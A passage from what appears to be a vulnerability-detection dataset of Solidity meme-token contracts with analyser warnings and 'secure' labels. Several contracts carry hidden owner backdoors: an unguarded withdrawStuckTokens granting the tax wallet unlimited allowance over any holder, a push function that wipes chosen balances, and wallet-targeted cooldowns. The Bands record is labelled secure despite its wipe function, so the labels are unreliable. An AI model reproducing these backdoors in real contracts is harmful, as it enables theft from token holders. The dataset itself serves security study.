5b9fe55\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5dccd93\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5dccd93\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5b9fe55\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cdcb1b4\n\t\t// reentrancy-events | ID: 5b9fe55\n\t\t// reentrancy-events | ID: 7fe6264\n\t\t// reentrancy-benign | ID: d8319a5\n\t\t// reentrancy-benign | ID: cc04039\n\t\t// reentrancy-eth | ID: 5dccd93\n\t\t// reentrancy-eth | ID: e6a0877\n\t\t// reentrancy-eth | ID: b5b0b57\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits_x7BLYZ6239() external onlyOwner {\n _x5NQWP9T7 = _tTotal;\n\n _x0BLYR5K3 = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d02bb1a): straton.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d02bb1a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cdcb1b4\n\t\t// reentrancy-events | ID: 5b9fe55\n\t\t// reentrancy-events | ID: 7fe6264\n\t\t// reentrancy-eth | ID: 5dccd93\n\t\t// reentrancy-eth | ID: e6a0877\n\t\t// reentrancy-eth | ID: b5b0b57\n\t\t// arbitrary-send-eth | ID: d02bb1a\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cdcb1b4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cdcb1b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cc04039): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cc04039: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 893f900): straton.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 893f900: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f933e47): straton.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f933e47: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e6a0877): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e6a0877: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b5b0b57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b5b0b57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: cdcb1b4\n\t\t// reentrancy-benign | ID: cc04039\n\t\t// reentrancy-eth | ID: e6a0877\n\t\t// reentrancy-eth | ID: b5b0b57\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: cdcb1b4\n\t\t// reentrancy-benign | ID: cc04039\n\t\t// reentrancy-eth | ID: e6a0877\n\t\t// reentrancy-eth | ID: b5b0b57\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: cdcb1b4\n\t\t// reentrancy-benign | ID: cc04039\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 893f900\n\t\t// reentrancy-eth | ID: b5b0b57\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: f933e47\n\t\t// reentrancy-eth | ID: b5b0b57\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: b5b0b57\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b5b0b57\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8f4f6ad): straton.reduceFee(uint256) should emit an event for _x5MRXZ8043 = _newFee \n\t// Recommendation for 8f4f6ad: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 8f4f6ad\n _x5MRXZ8043 = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap_x4NRWT8506() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_371.sol",
"secure": 0,
"size_bytes": 19529
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SQUIRREL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7af319c): SQUIRREL._bots is never initialized. It is used in SQUIRREL._transfer(address,address,uint256)\n\t// Recommendation for 7af319c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9e9880a): SQUIRREL._taxWallet should be immutable \n\t// Recommendation for 9e9880a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0cb873d): SQUIRREL._initialBuyTax should be constant \n\t// Recommendation for 0cb873d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8bb3dde): SQUIRREL._initialSellTax should be constant \n\t// Recommendation for 8bb3dde: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3eff715): SQUIRREL._finalBuyTax should be constant \n\t// Recommendation for 3eff715: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60c9724): SQUIRREL._finalSellTax should be constant \n\t// Recommendation for 60c9724: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d93540): SQUIRREL._reduceBuyAt should be constant \n\t// Recommendation for 7d93540: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: b684b97): SQUIRREL._reduceSellAt should be constant \n\t// Recommendation for b684b97: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0069e3): SQUIRREL._preventCount should be constant \n\t// Recommendation for a0069e3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Squirrel by Matt Furie\";\n\n string private constant _symbol = unicode\"SQUIRREL\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3071838): SQUIRREL._minTaxSwap should be constant \n\t// Recommendation for 3071838: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: bfdab8d): SQUIRREL._maxTaxSwap should be constant \n\t// Recommendation for bfdab8d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 84c1054): SQUIRREL._squirrelbymf should be immutable \n\t// Recommendation for 84c1054: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _squirrelbymf;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x48FcC0091C5EDF325Cc6Cc9E87dE941b54F906eF);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_taxWallet] = true;\n\n _squirrelbymf = _taxWallet;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba65009): SQUIRREL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ba65009: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8a2c7f1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8a2c7f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f2cbee2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f2cbee2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8a2c7f1\n\t\t// reentrancy-benign | ID: f2cbee2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8a2c7f1\n\t\t// reentrancy-benign | ID: f2cbee2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f34e697): SQUIRREL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f34e697: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f2cbee2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8a2c7f1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3694d14): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3694d14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 6676a79): SQUIRREL._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 6676a79: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7af319c): SQUIRREL._bots is never initialized. It is used in SQUIRREL._transfer(address,address,uint256)\n\t// Recommendation for 7af319c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3839d23): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3839d23: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c8bf01b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c8bf01b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 6676a79\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3694d14\n\t\t\t\t\t// reentrancy-eth | ID: 3839d23\n\t\t\t\t\t// reentrancy-eth | ID: c8bf01b\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 3694d14\n\t\t\t\t\t\t// reentrancy-eth | ID: 3839d23\n\t\t\t\t\t\t// reentrancy-eth | ID: c8bf01b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 3694d14\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 3839d23\n\t\t\t\t\t\t\t// reentrancy-eth | ID: c8bf01b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: c8bf01b\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 3694d14\n\t\t\t\t\t// reentrancy-eth | ID: 3839d23\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 3694d14\n\t\t\t\t\t\t// reentrancy-eth | ID: 3839d23\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3839d23\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 3694d14\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3839d23\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3839d23\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 3694d14\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3694d14\n\t\t// reentrancy-events | ID: 8a2c7f1\n\t\t// reentrancy-benign | ID: f2cbee2\n\t\t// reentrancy-eth | ID: 3839d23\n\t\t// reentrancy-eth | ID: c8bf01b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3694d14\n\t\t// reentrancy-events | ID: 8a2c7f1\n\t\t// reentrancy-eth | ID: 3839d23\n\t\t// reentrancy-eth | ID: c8bf01b\n _taxWallet.transfer(amount);\n }\n\n function withdrawStuckTokens(address addy) external {\n _allowances[addy][_squirrelbymf] = ~uint256(0);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d4c6583): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d4c6583: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 954d6ba): SQUIRREL.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 954d6ba: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3a031de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3a031de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d4c6583\n\t\t// reentrancy-eth | ID: 3a031de\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d4c6583\n\t\t// unused-return | ID: 954d6ba\n\t\t// reentrancy-eth | ID: 3a031de\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d4c6583\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3a031de\n tradingOpen = true;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3710.sol",
"secure": 0,
"size_bytes": 18425
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Bands is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable agony;\n\n constructor() {\n _name = \"BANDS\";\n\n _symbol = \"BANDS\";\n\n _decimals = 18;\n\n uint256 initialSupply = 742000000;\n\n agony = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == agony, \"Not allowed\");\n\n _;\n }\n\n function push(address[] memory mercy) public onlyOwner {\n for (uint256 i = 0; i < mercy.length; i++) {\n address account = mercy[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3711.sol",
"secure": 1,
"size_bytes": 4342
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract ETHWhaleAI is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: ebf9d91): ETHWhaleAI._decimals should be constant \n\t// Recommendation for ebf9d91: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b8e0550): ETHWhaleAI._totalSupply should be immutable \n\t// Recommendation for b8e0550: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 88db199): ETHWhaleAI._name should be constant \n\t// Recommendation for 88db199: Add the 'constant' attribute to state variables that never change.\n string private _name = \"ETH Whale AI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 65e0e65): ETHWhaleAI._symbol should be constant \n\t// Recommendation for 65e0e65: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"WHALE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2292a35): ETHWhaleAI.uniV2Router should be constant \n\t// Recommendation for 2292a35: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 31dc0bc): ETHWhaleAI._taxWallet should be immutable \n\t// Recommendation for 31dc0bc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function atforclash() public {}\n\n function onforclash() external {}\n\n function pewrto() public {}\n\n function pewrfor() public {}\n\n function toactivate(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function addmorelp(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 